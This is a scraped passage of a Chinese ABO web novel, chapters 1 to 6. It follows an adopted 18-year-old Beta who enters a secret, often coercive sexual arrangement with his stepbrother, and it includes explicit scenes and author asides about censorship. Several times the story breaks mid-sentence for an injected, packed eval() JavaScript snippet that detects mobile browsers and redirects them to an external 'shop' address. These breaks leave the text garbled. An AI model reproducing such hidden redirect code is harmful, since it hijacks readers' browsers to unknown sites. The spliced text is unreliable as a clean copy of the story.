《小可怜Beta也要火葬场吗》 1. 第一章 “原来是个Beta啊。” “Beta,可惜了。” “有什么好可惜的,亏夫人还把他从孤儿院带出来,这人还死皮赖脸地待在陆家,啧啧……” 门外,陆安垂下眸,纤长浓密的睫羽在眼下投出淡淡的阴影,小巧的鼻梁高挺。那张瓷白的脸似乎连阳光都格外钟爱,在他面颊镀上一层金边的同时,照得仿若透明一般,愈发显得眉目如画。 当年正是因为陆安这张好看到令人惊艳的脸,陆夫人才会把他当作Omega带回陆家。 然而没两年陆安却分化成了Beta。 陆夫人早年生下一个儿子后伤了根本,无法再生育,所幸儿子最后分化成了Alpha,不必担心家业无人继承。 但她仍想要一个漂亮可爱的Omega孩子,所以就去了孤儿院,一眼便相中了一群小孩里皮肤白得晃眼,长得精致可爱的陆安。 然而,陆安却在十四岁那年分化成了Beta。 是ABO三种性别中最平庸的那一个。 陆安理所当然地被抛弃了,失去了养父母无微不至的宠爱。不过陆家到底养了他几年,没有将他撵出去。 至如今陆安已然十八岁,是个成年人了。 许多佣人都认为是时候了。 现在的陆安完全有能力养活自己,陆家亦没有继续供着一个闲人的义务。 陆安也是这么想的。 他不想被赶出去,所以做了一个大胆的决定。 “站在这里做什么?”稍显冷淡的声音自身后响起。 陆安转头的同时,他看到那些佣人全都战战兢兢冲着这边点头哈腰。他们也都瞥见了陆安,却只是对着这边喊了一声:“大少爷。” 陆谨之目不斜视地站在大门旁,视线并未落向陆安,继而径直越过陆安和一众佣人。 临上楼前,他嗓音冷淡地说:“下次再有嚼舌根的,直接离开。” 佣人们顿时面如金纸,末了在管家的冷喝声中一哄而散。 陆安像个透明人般默默上了楼梯,刚走到三楼就看见楼梯口等待着的人影。 男人身形颀长,他站在窗台透出来的光晕里,挺括的西装妥协地收束着他倒三角的身材,肩线平直,勾勒着劲瘦有力的蜂腰,充满爆发力。 只有陆安知道。 爆发力是有,但活真的很烂。 “跟我来。”陆谨之瞥他一眼,神情淡漠,目若寒星。他五官线条本就凌厉,山根挺拔,此刻削薄的唇瓣微抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129341|196188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轮廓棱角分明而立体,更显出几分疏冷。 陆安眼睫微微一颤,下意识缩了缩腿,可还是老实地跟在人身后,进了对方的房间。 甫一进门,他就被对方压在门上,双腿分开。 陆谨之毫不费力地掰着他的腿,抱着他走向大床。 下一秒,陆安便与他这个不沾血缘,名义上的继兄滚上了同一张床。 在外他们互不相干。 但在这里,他们是彼此间的床伴。 为了不被赶出陆家,陆安爬上了继兄的床。 Alpha叼住Beta的后颈,将源源不断的信息素灌入。陆安的下巴被掐住,被迫仰头,紧接着线条修长的脖颈也被一只大掌覆住。 凉薄的声调钻入耳膜,如同之前的每一次般淡声道:“记住,你只是个Beta。” 第一次,陆安爬上陆谨之的床,对方也这么说。 ‘记住,你只是个Beta,做不了陆夫人’。 这像是一个开场,每次话音落下的一瞬,Beta的生殖腔都会被毫不留情地撵过,犹如雨点般,不停歇。他们在密闭的空间,在陆家老宅里,做着无一人发觉的事。 真烂啊。 陆安噙着泪在心中咒骂。 2. 第二章 翌日,陆安缓缓睁开眼,能感觉到浑身酸软无力,他稍微动弹了一下,腰上缠着的那只结实臂膀便无意识收紧,将他箍得牢牢。 陆安先是愣了一下,而后猛地一震 自己居然在陆谨之的房间里过夜了。 昨天晚上陆安实在太累,根本爬不起来,全然顾不上陆谨之曾经对他的‘告诫’——不许在对方房间过夜,离开要小心别被发现。 这种仿若偷情的关系,是陆安算计来的,因而他必须遵守。 来不及再想下去,陆安忙不迭爬起来,过程还不忘小心控制着自己的动作幅度不要太大,免得把人吵醒。 然而,就在他小心翼翼从那双臂膀下钻出来时,蓦然抬眼,便对上一双墨如点漆的眸子。黝黑而深邃,似凝着一层寒霜般,完全看不出刚醒的样子。 同样的,这双眼睛里也没有昨晚被欲念占满的模样,对方那张清冷矜贵的面庞亦看不出昨日的疯狂。 陆安僵硬了瞬,旋即一点一点地别过脸。 这不能怪他,昨天他直接晕过去了,何况陆谨之也没有把他弄醒让他走人。 陆谨之果然没说什么,只是冷淡地开始穿衣。 陆安这才松了口气,接着慢腾腾起身去捞床头柜上的衣服。可也就是因为这个动作,他身子倏然再次僵住。 后方括约肌蓦地收缩,却仍没能阻止往下落的趋势。【此处删减……】 兴许是因为注意到了他,身后传来陆谨之略微沉重几分的呼吸声。 陆安捏着衣服一角的手指微颤,以为他生气了。 可是为什么生气。 该生气的应该是他才对。 虽然Beta的生殖腔萎缩了,基本上无法受孕,但这也不是陆谨之往里送的原因。 就在陆安胡思乱想间,只听陆谨之开口:“等等。” 听到声音的陆安猛地一抖。 下一刻,以为的惩罚没有到来,相反的,他再次被放到了昨天的位置,脑袋几乎被抵上床头板。 陆谨之眼中的情绪,同昨天如出一辙。 陆安有点慌乱。 还来啊…… 他绞尽脑汁地想理由:“你今天不去公司吗?” 最近陆谨之刚进公司,即便是周末也会过去一趟。陆严,即如今的陆家主,也是陆谨之的亲生父亲希望他可以尽快提升能力方便接管公司。 “不急。”陆谨之声音不知何时,已经哑得不成样子,眸子黑沉沉得凝在陆安身上,说出来的话同那张冷峻禁欲的脸截然相反,“先干你。” 明明是个Beta,皮肤却比那些世家中千娇万宠的Omega还要瓷白细腻,格外让人沉醉。 而且,是对方大早上就做出那么不检点的举动,陆谨之没理由干看着。 话音落下,陆谨之极为快速且不容置喙地将人转过去,伸出一只大掌压在他后颈上。那里还有他昨天晚上留下来的牙印,或深或浅,留了一圈又一圈。 陆安什么话都说不出了。 …… …… 【此处删减……原片段见备用。审核能不能别一直锁了,都删完了。】 …… …… 【没辙了哈哈哈,锁一天了有完没完。】大概是顾忌着还要去公司,陆谨之很快放过了他。 陆安脸一阵白一阵红,一瘸一拐地从房间里探出个头,观察走廊上有没有佣人或者管家。 不过由于陆谨之的习惯,佣人们除了打扫的时候,鲜少会上三楼来,陆安得以平安走回自己房间。 刚回去他就默默进了浴室。 许久,陆安才托着疲惫不堪的身体把自己藏进被子里。再次醒来时,已经是中午十二点,他揉了揉眼睛,洗漱后下楼。 佣人们分散各处,打扫的打扫,闲话的闲话,好像没有人注意到刚刚有人从楼上下来,陆安就这么被所有人无视着走向厨房。 兴许因为陆严和陆夫人都没有回来,所以厨房里能吃的只有几块面包。倒是还准备了新鲜的食材,陆安看了看,没敢动用,只是叼起面包沉默地往楼上走。 他回到房间,打开了电视,一边趴在沙发上啃面包一边翘着脚看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129342|196188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动漫。 直到吃完东西,又把最后一集动漫看完,陆安这才走到书桌边拿起书包,开始做作业。 虽然养父母不再给予他宠爱,但陆安依然就读着市里最好的学校,大学也争气的凭借自己的努力上了重点,可惜无人在意。 要论成绩,当年的陆谨之一路名牌,同样是凭着自己的努力。 可能Alpha天然便这么优秀,脑子好使。但他们也有着天然的劣势,易感期的Alpha会处于一种极其郁躁、狂暴、不安的情绪中,一连就是一周。 陆谨之易感期的时候陆安并未亲眼见过,每次这个时候对方都会把自己隔离起来,这是每个没有自己伴侣的Alpha都会做的。即便打下抑制剂,同样难抵被易感期的折磨。 陆安写完作业,咬着牙从椅子上站起来,被陆谨之使用过度的地方隐隐传来刺痛。 这也是Alpha的劣根性,像是被下半身支配的动物,总会被小脑控制大脑。 禽兽。 陆安在心里骂了一遍陆谨之,这才觉得好受些。 这时,他的房门被敲响。 陆安心里一咯噔。 他的房间被安排在三楼走廊的最后一间房,以前是住在二楼的。因为他不再是养父母期待中的Omega,所以搬到了三楼,正好和陆谨之在同一层。 陆安打开门,映入眼帘的便是陆谨之那张冷刻的脸,“转过去。” “啊?”陆安有点懵,第一反应就是把腿并拢,试图以此来抵抗任何有可能的‘攻击’。 陆谨之眉头动了下,似是有点不耐,径自伸出手把他翻了个面。 下一瞬,陆安只觉后颈传来刺痛。 Alpha的犬齿扎入了Beta平滑修长的颈后。 “我易感期快到了。” 陆安眼角泛着泪花,胡乱应:“嗯嗯。” 易感期快到了。 那就赶紧关起来。 陆谨之倏然用舌尖舔了下刚被他注入信息素的后颈,一字一句淡声开口。 “你跟我一起去我那。” 3. 第三章 Beta捂着后颈,瞳孔微微收缩,唇畔张合,说话间一截粉色舌尖从中探出,声音又轻又细。 陆安见跟前的人没说话,不由再度开口:“我还要上课。” 陆谨之总算微撩起眼帘,顺着青年挺翘的鼻头往上。陆安有一副极好的相貌,骨相绝佳,天庭饱满,兴许是刚从被窝里爬起来,头顶翘着一缕发丝,随着主人说话时轻轻晃荡。 陆谨之黑沉的眸底一瞬不瞬,仿佛在思考。 少顷,他方才道:“不上了。” 陆安终于忍不住,露出一个‘你疯了’的表情,只不过刹那又被他收敛下去,“不可以的。” 这句话陆安说过很多次,陆谨之也无视过很多次,但可能因为是头一回两个人身上衣物都整整齐齐。对方闻言沉吟几秒,仍是道:“跟我一起。” 陆安怀疑他听不懂人话。 陆谨之很快补充:“下课回我那。” 好吧,还是能听懂一点的。只不过陆安表情很难好看得起来。 因为这意味着,接下来陆谨之易感期的时候,他都要充当那个活体‘抑制剂’。 此时此刻,陆安突然有些希望陆谨之能够像那些豪门纨绔一样,流连花丛,不缺他一个床伴。奈何这个人从来都是冷面无情,像个机器人般不懂风情,即便是有人向他投怀送抱,估计也全部被当成路人…… 陆安之前曾见过有人脱了衣服往陆谨之怀里蹭,被他轻巧躲开了不说,陆谨之还用看猪肉的眼神说了一句让对方羞愤欲死的话。 “借过。” 当时站在角落里的陆安差点笑出声。 后来轮到他的时候,陆安甚至绞尽脑汁,想着自己怎么才能爬上陆谨之的床,借此留在陆家而不被赶出去,继而再次成为没人要的孤儿。 也许是那天陆谨之发了疯、着了魔,竟然让陆安成功了。只不过让他没想到的是……这个人开了荤之后会是这个样子,该用什么来形容——大概是,上了发条的马达还得是巨无霸型,生产队的驴,比那个还狠,打桩机…… 陆安觉得自己像块已经被犁成沙砾的地,地里的土湿答答、黏腻腻,没有体会过干的滋味,只有‘□□’的经历。 偏偏他还无法逃避,只能生受着。 早知道会是这样,他就该想别的办法。可是……除了这样,陆安也找不到自己身上更有利于留在陆家的条件了。 陆安叹口气,将垮着的脸埋了一半进衣服里,匆匆去房间拿了几件衣服,“家里……” 陆谨之声音平平:“爸妈最近去了A市。” 话落,他瞥一眼陆安。 难怪会带自己出去住。 陆安不说话了,垂头丧气地跟在陆谨之身后出门。如果身后有尾巴,那一定是耷拉下来的,浑身写满丧气地上了对方的车,坐的副驾。 难得让陆谨之给自己当司机,陆安心安理得地打起小盹,一般除了困的时候,感觉到饿了他就会睡觉。假如不上课也没有其他课题作业,陆安基本能睡十六个小时。 等他醒过来的时候,车子已经不知道停了多久,外面已然漆黑一片,没有开灯。陆安莫名有点慌,胡乱地往旁边抓,而后便触碰到一片热源。 紧接着,他被反手扣住,“乱抓什么。” 陆安喉咙里即将脱口的惊呼咽了回去,原来对方还在啊。 差点以为撞鬼了。 “到、到了吗。”他干巴巴地问。 陆谨之只从鼻腔里发出‘嗯’的一声,惜字如金,末了放开他下车。 随着他的动作外面的感应灯亮起,陆安只见旁边还停了几辆豪车,看车牌,这里应该是陆谨之的停车库。 正在这时,旁边的车门打开,陆谨之站在外面,单手扶着车顶。他看起来神情依旧冷淡,似不过是出于骨子里的教养和绅士风度,为他打开了车门。 陆安:“谢谢。” 陆谨之低着眼,凝视他准备从车内出来的动作,复着车顶的那只手倏然按到了后者的肩上。刚抬起半个屁股的陆安猛地又坐了回去。 陆安:“啊?” 陆谨之动作迅速又利落,座椅很快放平。 直到被扒掉了身上的衣服,陆安都还没缓过神,“等等、” “不用等了。”陆谨之打断他。 陆安急得眼睛都睁圆了。 陆谨之掐着他的下巴仔细看了看,却没有亲。这段时间以来,陆谨之从来没亲过陆安,仿佛担心自己的嘴被他碰脏。 但倘若真是这样,陆安觉得陆谨之的洁癖时有时无,否则对方不亲他的嘴为什么要亲他的腿。 或者陆谨之有什么只为陆安知的特殊癖好。 陆安被他掐着下巴,唇瓣张合,含糊着道:“车……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆谨之一语不发,像剥笋子一样,把陆安剥得滑溜溜。最后看着他又带了点了然的脸,陆谨之平静无波地告诫:“不要有多余的期待。” 4. 第四章 最后只能重新去换一身衣服的陆安红着耳根出了门,脑袋仿若快要冒烟。一直到学校,脑子里都还是陆谨之抬着他脚腕帮他把内裤扯下来的模样。 看着一本正经、衣冠楚楚,做的全不是正经事。 疯了吧…… “什么疯了?” 陆安走着走着,身后忽然传来一道声音。他转头,看见了之前和他同寝的室友,对方三两步上前凑近他,“你在自言自语什么呢?” 他的室友叫纪冉,和陆安不一样,纪冉是Omega,对信息素十分敏感。陆安先是摇了摇头,下一秒看着纪冉凑了个脑袋过来,嗅嗅后点头:“嗯,这次没有味道。” 陆安闻言,耳朵上那原本就没完全消下的红意再度升腾起来。因为一开始没经验,陆谨之又标记得太深,导致一晚上过去,他后颈里面的信息素没能完全散掉,刚到学校就被纪冉给闻出来了,不过后者并未多问,还给了他一瓶信息素驱散喷雾。 陆安没好意思说今天他是喷了喷雾才出门的,于是含糊道:“嗯。” 纪冉眼神往他颈后掠了眼,瞥见衣领下方不经意露出的一角,提醒:“衣服。” 陆安闻言飞快抬指把领口往上拉了拉。 他后颈上明显带着牙印,虽然用腺体贴贴住了,仍旧是有一点没遮住。再者,他一个Beta贴这个,确实太过明显。 ——和Alpha跟Omega不一样,AO的颈后会有一个微微凸起的腺体,可以用来标记,甚至特殊的时候还会影响自身的情绪。唯有Beta的,他们的颈后平坦一片,没有任何可供标记的地方。 偏偏陆谨之喜欢标记他,将信息素灌入Beta的颈后。这可能就是Alpha劣根性的一部分,牙齿痒痒,总喜欢咬点什么。 所以陆安最近穿的衣服只能尽量选择高领。 两人一道往学校里走,因为选的课不在同一个教室,陆安跟纪冉在楼梯口分道扬镳。 今天陆安上午下午都有课,不巧的是,今天还有一节游泳。 陆安盯着泳衣,十分犯难地摸了摸后脖颈。 “陆安脖子后面的是……” “我靠?那个是Omega的抑制贴吧?他贴那个做什么?” “等等……那是……牙印?” “上次我还闻到他身上有Alpha的信息素,陆安还说是他哥的,啧,也不知道是哪种‘哥’。” “要我说,长成他那个样子,即便是Beta,应该也有很多人……” 不出意外的,陆安站在角落,听到了同学们的议论声,闻见最后的那些话,他不由抿了抿唇。 自己还真就没撒谎,信息素的确是他哥的,只不过是继兄而已。 “集合了,都在这说什么?”一道清润的男声加入其中,刚刚还在议论纷纷的同学们四散开去。 陆安抬眼望过去,对方朝他走过来,陆安唤了声:“班长。” 秦遇深同他点了下头,男生身材高大,眉目俊朗,眼神温和地看向他,眸底似还带了点担忧,“你别太在意其他人的话。” 陆安表情很轻松也很自然地对他眨眨眼,“他们说什么了吗?” “没说什么,”秦遇深笑了笑,很有礼貌地没再提起,“我们过去吧。” 陆安跟着他一块往集合点走,中途碰上换好泳衣出来的纪冉。因为是Omega,纪冉身上搭配着小装饰,颈间戴着小草莓项圈,他先是意味深长地瞥一眼秦遇深,而后飞快过来挽住陆安的胳膊,“安安,我今天的抑制环怎么样?” Omega可以选择佩戴抑制贴或者抑制环,防止信息素外泄的同时,还可以测试信息素浓度,防止发生意外。有些多功能抑制环,必要的时候还可以释放出让Alpha不适的气体,阻止Alpha恶意标记。 陆安点头,眸光清澈,认真道:“好看。” 见纪冉过来,秦遇深一个Alpha也不好继续挨着两人,于是加快了脚步。 纪冉跟陆安撞了撞胳膊,“你觉得班长怎么样?” 他这话问得有些许暧昧,陆安只做不知,“什么怎么样啊……” 纪冉冲他眨了下左眼。 他觉得秦遇深其实挺不错的,总比陆安那个说不出口的神秘Alpha强,这么喜欢标记怎么不去找个Omega,让陆安一个Beta天天顶着个牙印算怎么回事? 算他占有欲强? 陆安还不知道陆谨之被自己的好朋友吐槽了一番,一直到下课,他也没在听到关于自己的议论声。倒是纪冉兀自嘟囔了几句,见陆安望过来又迅速岔开话题,大概是怕他听到这些会不高兴。 两个人下课一起离开,纪冉很早就在外面租了个房子,而陆安则是要回陆谨之那。 他们没走出多远就正好碰上从另一边过来的秦遇深,可能是差不多时间出的教室,对方也刚好背着包往校门口走。 三人结伴而行,秦遇深问:“你们往哪边?” 纪冉:“我直接往朝阳街走,安安要去坐公交吧。” 秦遇深:“正好我也是。” 陆安张了张嘴,陆谨之家其实坐几站地铁就能到。 “这个……”他才刚起了个头,便看见校门停着的黑色豪车。陆安一眼就认出了那是陆谨之的车,应该是对方让司机来接他了,只不过这次停的位置实在显眼。 因为陆安不想让人知道自己和陆家的关系,甚至偶尔还去做点兼职,所以他的同学都只以为陆安家世普通。而陆家那边也并未公开承认过他的身份,陆安甚至连家族宴会都没去过几次。 自同陆谨之搞上之后,对方偶尔会让司机来接他,但陆安特意请求司机不要离学校太近,没想到…… 陆安脚步刚朝那边靠了一点,便见车门倏而打开。黑衬衫黑西裤的男人身形颀长,面容冷淡矜贵,一双上挑的丹凤眼狭长锐利,直勾勾扫过来。 易感期的陆谨之竟然出现在了他的学校门口,陆安下意识拿出手机,果然看到上面有一个未接来电,上面显示的是‘哥哥’。 陆安猝不及防跟下车的陆谨之对了眼,而后目不斜视地往旁边走——陆谨之曾经说过,不用叫‘哥哥’,也不用跟他打招呼,这是要跟他划清界限的意思。 本就是养子的陆安当然得听话。 甚至偶尔在家里碰面,陆谨之也会全然将他无视,仿佛他们只是同住一个屋檐下的陌生人。 陆安也只当站在那边的是个陌生人,脚下一转就要往地铁站的方向走,胳膊被轻轻拉了下,一触即分。 秦遇深对他笑笑:“公交站在这边。” “啊,我是要去……”陆安张口。 这时,纪冉拔高的嗓音骤然响起,“哇,那有个帅A,嗯??他朝这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129344|196188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边走过来了!” 陆安顺着他的声音望过去,果不其然,看见了正往这边走来的陆谨之。 “他这是在看……”纪冉循着对面那人的目光慢慢落到了旁边人的身上,“在看你啊安安?” 秦遇深视线同时一顿。 陆安喉头轻咽了咽,脚下步伐凝滞。 陆谨之上前,先是对纪冉和秦遇深点了下头,“你们好。” 纪冉眸光亮了亮,非常戏多地把发丝别到耳后,脖子仰了仰,矜持地道:“你好。” 秦遇深不动声色地看了对方一眼:“你是?” 陆谨之侧目望了眼始终没有吭声的陆安,倏然抬手,略带粗粝的指腹压在那张抑制贴上,语调平缓,“我是他哥。” 陆安诧异地仰起脸,“哥?” 陆谨之抬了下眉,对他道:“回家。” 声音没有波澜,但平静之下,莫名让陆安有股压迫。只因抑制贴的边沿被刮了刮,一只修长的指尖似乎正在试图慢慢往里挤,压到了他被咬出的印子上。 陆安顿时一阵头皮发麻。 “哥?安安,没听说过你有哥哥啊。”纪冉讶然,很快他就露出个心照不宣的表情,默默把别到耳后的头发捋了回来,用一种看渣A的表情重新打量起陆谨之。 秦遇深也跟着望去,正好看到陆谨之压着眉,眯缝着眼扫来的目光。那是一种极具压迫性的眼神,带着警告,就好像自己的猎物被旁人觊觎时对越界者发出的信号。 陆安含混道:“嗯……他是我哥哥,那我跟我哥回家了……” 话落,陆安忙不迭往对面街边停着的车走去。 陆谨之瞥了眼空了的指腹,垂至身侧捻了捻,看了看秦遇深,径直跟上陆安。 “他是谁?”刚上车,陆安就听到陆谨之问。 陆安疑惑地望向陆谨之。 陆谨之继续:“那个Alpha,是谁?” 陆安:“同学啊。” 陆谨之没说话,发动了车子。 趁对方等红灯的间隙,陆安终于想起来问:“你打抑制剂了吗?” 说这话时,他的眼神里带着希冀。 易感期的Alpha可以用抑制剂来压制易感期带来的焦躁、不适。 如果是这样,今天应该用不上他了。 明天早上虽然没课,但陆安想多睡一会。 陆谨之并未出声。 陆安讪讪闭上了嘴。 直到车子又平稳驶出去一段,陆安迷迷糊糊快要睡着,忽然听见陆谨之开口:“你没告诉他们我是谁。” 是陈述句而非疑问,硬要说的话,像是在质问。 陆安‘啊’了一声。 他为什么要没事告诉不认识陆谨之的纪冉对方是谁啊?而且刚刚不是已经告诉了? 陆安有点犯困,没太明白他的逻辑。 “我是谁?”陆谨之最后踩下刹车。 不知不觉,车子已经停到了对方家里的地下车库。熟悉的地点,陆安想到了昨天,他抓着安全带,唇瓣翕动两下,从喉间慢慢吐出一字:“……哥?” 陆谨之看着他。 感应灯熄灭的刹那,陆安看见倾身过来的陆谨之。在无人的车库中,皮肤接触到了微凉的空气,陆谨之缓缓嵌入,声音里终于带上了些许起伏,如同恩赐:“嗯,下次也可以这么叫。” 5. 第五章 陆安不知道陆谨之今天为什么跟疯了似的。一直抓着他的手臂不肯撒手,Alpha尖锐的犬齿从后颈改到了这里,厮磨啃咬。 甚至是陆谨之的整个易感期,陆安手臂这块都没好过。 大概这也是陆谨之的特殊癖好之一。 终于熬到了对方的易感期结束,中途陆安甚至还请了两天假——无他,因为陆安根本没有力气去学校。然而陆谨之不同,后面几天他甚至开始在线上处理起了工作。 Alpha和Beta果然是两种不同的生物,陆安想。 他又看一眼端坐桌上盯着电脑神情专注,半分视线都未落过来的人,默默爬起来,准备去找点吃的。 虽然累是累了点,但陆谨之不会在吃的方面苛待他,所以陆安这几天跟着陆谨之吃得都还不错。 他刚摸到餐厅,身后便响起了脚步声。 紧接着,陆安后颈被捏了下,他顺从地低下脑袋。可预想中的疼痛没有到来,陆谨之反而捏住了他的下巴,迫使他抬脸。 陆安眸光闪动。 对视间,陆谨之眼神下落,望向那抹润泽。被他掐在手里的人轻一颤,嘴巴微微张合,“怎、怎么了吗?” 陆谨之又盯了几秒,旋即松开他,“吃饭。” 陆安老实巴交地缀在他身后。 “吃完回家。”陆谨之道。 陆安没有意外,昨天陆谨之的易感期其实就已经结束了,但愣是多留了他一晚。 今天也正好是陆严夫妻二人回来的日子。 陆安和陆谨之是一前一后进的门,佣人们上前迎接,刚进门就有人为大少爷拿换下的外套,似全然没有发现后进门的‘小少爷’。 陆安悄然无声地走进去,看到了客厅沙发上坐着的一男一女。 男人眉目深朗,透着岁月沉淀下来的威严,却未曾消磨掉他的那份英俊,隐约可见年轻时的风姿。与陆谨之的锋芒毕露不同,陆严显露出来的是身居上位多年的掌权者内敛却仍透着股不怒自威的气场。 即便陆安以往被陆夫人寄予厚望的时候,在面对这位养父时他都是畏惧居多。 反观一旁的陆夫人,陆苓,书香世家小姐出生,通身自有一股古典书卷气,带着洗练后的沉静之美,不骄不躁。就连无视人的时候都恰到好处,仿佛那里摆放的是一团棉絮,一捧小草,无需着眼任其生长。 陆安默默坐在一旁,看着陆严拷问其陆谨之进来的工作,陆苓偶尔插几句嘴,询问身体云云。 话落后一家人走到餐桌旁。 陆苓:“你看着又瘦了,精气神倒是还好,是不是最近太操劳了?” 陆谨之微颔首,答:“没有。” 陆安低着头,心中腹诽:操劳,一点都不操劳。操.他还差不多。整整一个星期,陆安觉得自己腰都快断了,腿每天那么架着、勾着、缠着,也酸得不行。 “工作之余,也不要忘记回家。”这时,陆苓呷了口茶,“听闻陈家小姐最近刚从国外回来,你去见见?” 沉默倏然在厅内蔓延。 陆安停了停。 便听陆谨之道:“我易感期还没结束。” 陆苓滞了下,转头去看陆严。 被终身标记过的Omega闻不到其他Alpha的信息素。但Alpha和Alpha之间却能够感知到对方的信息素,陆谨之身上的信息素还算平稳,又隐约夹杂着一丝不同寻常,算算时间最近也确实是对方的易感期。看来这次的抑制剂效果很不错——Alpha并不能长时间使用同一种抑制剂,否则效果会大打折扣。 “这两天就先在家处理工作吧。”陆严总结了句,陆苓也便不再说什么了。 一顿饭在谈话声中继续。 陆安听着陆苓又换了个话题,吃得不怎么专心,也许是刚刚回来的时候在陆谨之那边吃饱了,他没吃多少。刚吃完他就蹬蹬蹬朝楼上跑,跑到一半,忽觉一道灼热锐利的目光凝在身后,犹如实质般舔过,让他头皮都炸了炸,以及这一周以来的习惯让他不自觉后腰发软。 陆安倏尔想起回来前,陆谨之把他抱坐到玄关处的柜子上,轻松挤进他双腿中间,西装裤藏不住底下的骇人。 生怕陆谨之走前还要发一次疯的陆安只好卖惨,脱口便道:“我腿疼,回去要是走路不对会被爸妈看出来的。” 陆谨之也不知是信还是没信,放过了他。 现在…… 陆安背对着客厅的方向兀自做了个苦瓜脸,信不信已经不重要,陆谨之大概知道他是在撒谎了。 即此时,陆安由衷希望陆谨之不要那么耳聪目明。 但偏偏这个人耳朵灵得不像话,昨天下午自己不过是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129345|196188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句‘驴啊’,当时陆安完全是自言自语,没想到不小心发出了点声音。结果就被那驴玩意又多顶了一晚上,陆安欲哭无泪。 所以,陆谨之发现他说谎了,那他又会怎么样? 陆安不敢想,只能顶着那道视线,如芒在背地偷偷溜回了自己房间。 他拿出书就开始看,可心里藏着事,半天都没能静下心。 直到…… 房间的门把手被往下压了压,陆安听到了动静,心下登时便是一‘咯噔’。 不过还好,他锁了门。 然就在下一刻,陆安的手机发出‘嗡’的一声,他不得不拿起手机,想要装在洗澡没看见。 但是陆谨之仿佛提前猜到了他的意图,手机消息显示着简短的两段话。 【哥:再骗一次,后果自负。】 【哥:开门。】 陆安不敢再骗,慢腾腾走过去,门刚被打开。 陆谨之的身影就挤了进来,他什么也没说,反手便将房门锁住。继而是陆安,整个人都被提了起来。 陆安开始扑腾,“我错了我错了。” 陆谨之捏了下他的腿。 陆安下意识一蹬,接着便被抓住脚踝,只能扭过头和正目光沉沉望着他的陆谨之对视。 “腿疼?”陆谨之语气平稳,似乎只是在简单的反问。 陆安摇摇头,又点点头,诚实道:“酸。” 陆谨之:“嗯。” 陆安用‘求放过’的眼神看去,“哥……” 陆谨之手上力道加重几分,陆安还未呼出声,便听对方近乎冷酷地说:“那就疼一下。” 陆安惊恐,“爸妈在家。” 陆谨之不紧不慢地从胸前的口袋里取出一方帕子,“咬着。” 见到他的动作,陆安第一反应就是跑。 但他怎么可能跑得过陆谨之,甚至都没能从他手中挣脱,嘴巴里就被塞了一块帕子进来。不多时,眼泪模糊了陆安视线,那双灵动漂亮的眼睛被水雾弥漫,陆谨之垂眸,凝视他逐渐失焦的样子。 忽然间,他把帕子从对方口中取出。 只见陆安还迷迷糊糊,嘴巴大张着没缓过来,微红的舌尖漏了一点,等他反应过来时,温热便覆了上来。 陆谨之丢开手帕,选择用自己的唇堵住了陆安细碎的声音。 6. 第六章 陆安尚处于迷糊混沌中,头脑一片迷茫,连骂人的力气都没有了。他没想到陆谨之会这么做,在家里……在他的房间里,在陆严和陆苓都在家的情况下,甚至还用手帕堵了他的嘴。 但是,手帕呢。 口中的异物被换掉,变成了滚烫湿热的舌,涎液被尽数舐去,搜刮一空,犹觉不够,将他搅成一团。 唇瓣相接的触感柔软,是两个人的呼吸在交织缠绕,打在面颊上,鼻息中全是另一个人的味道。从未有过的体验,陆安意识到现在是怎么回事之后,眼眸瞬间睁大。 紧接着,便对上陆谨之直勾勾望着他的眼睛。如此近的距离,愈发漆黑的眸子有种摄人的幽深,仿佛要将人吸纳进去。 